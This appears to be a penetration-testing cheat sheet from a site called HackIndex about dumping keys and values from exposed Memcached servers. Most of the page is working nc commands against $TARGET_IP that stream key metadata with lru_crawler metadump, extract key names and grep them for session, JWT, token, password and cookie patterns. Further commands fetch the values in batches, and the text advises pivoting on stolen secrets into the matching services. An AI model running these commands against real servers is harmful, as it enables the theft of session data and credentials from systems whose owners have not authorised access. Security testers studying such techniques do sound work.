Skip to content
HackIndex logo

HackIndex

Memcached Key Dump with lru_crawler

2 min read Feb 25, 2026

When it’s available, lru_crawler metadump is the cleanest way to enumerate keys at scale. It dumps key metadata asynchronously and avoids the hard limits and heavier impact of stats cachedump.

Check if metadump is enabled

┌──(kali㉿kali)-[~]
└─$ printf "lru_crawler metadump all\r\nquit\r\n" | nc -nv -w 3 $TARGET_IP ${PORT:-11211} 
key=session:9f3c... exp=1700000000 la=1699999900 cas=12 fetch=no cls=3 size=248
key=jwt:blacklist:... exp=0 la=1699999800 cas=5 fetch=no cls=2 size=96

Interpretation that matters:

  • If you get ERROR or a client error, metadump may be disabled (-X) or not available on this build.

  • If it streams output and doesn’t terminate cleanly, that’s normal. Use timeout to cap output.

Dump keys reliably with timeout

┌──(kali㉿kali)-[~]
└─$ timeout 8s bash -c 'printf "lru_crawler metadump all\r\n" | nc -nv $TARGET_IP ${PORT:-11211}' | tee metadump.txt

Extract just the key names:

┌──(kali㉿kali)-[~]
└─$ awk -F'key=' '/^key=/{print $2}' metadump.txt | awk '{print $1}' | sed 's/\\r$//' | sort -u > keys.txt

Triage keys that usually pay off

Once you have keys.txt, grep for patterns that are commonly sensitive in real environments:

┌──(kali㉿kali)-[~]
└─$ grep -Ei 'session|sess|token|jwt|auth|apikey|api_key|secret|password|passwd|oauth|sso|cookie|admin' keys.txt | head

What to do with hits:

  • Session-like keys: pull values and look for user identifiers, roles, or serialized auth state.

  • Token/secret keys: treat as immediate credential material and pivot into the matching service.

Pull values for specific keys

Memcached text protocol can fetch multiple keys in one request.

┌──(kali㉿kali)-[~]
└─$ # single key
┌──(kali㉿kali)-[~]
└─$ printf "get $(head -n 1 keys.txt)\r\nquit\r\n" | nc -nv -w 3 $TARGET_IP ${PORT:-11211}

Batch a handful:

┌──(kali㉿kali)-[~]
└─$ KEYS="$(head -n 20 keys.txt | tr '\n' ' ')"
┌──(kali㉿kali)-[~]
└─$ printf "get $KEYS\r\nquit\r\n" | nc -nv -w 3 $TARGET_IP ${PORT:-11211}

Interpretation:

  • Values may be binary or serialized. If it looks like JSON, JWT, PHP serialize, or pickle-like blobs, save it and handle decoding offline.

  • Keys expire and rotate. If you see misses, re-run metadump and target fresher keys first.

If metadump is blocked

Some deployments disable dumping commands (-X disables both stats cachedump and lru_crawler metadump). If this is blocked, move to app-informed key guessing or libmemcached tooling with known keys.

References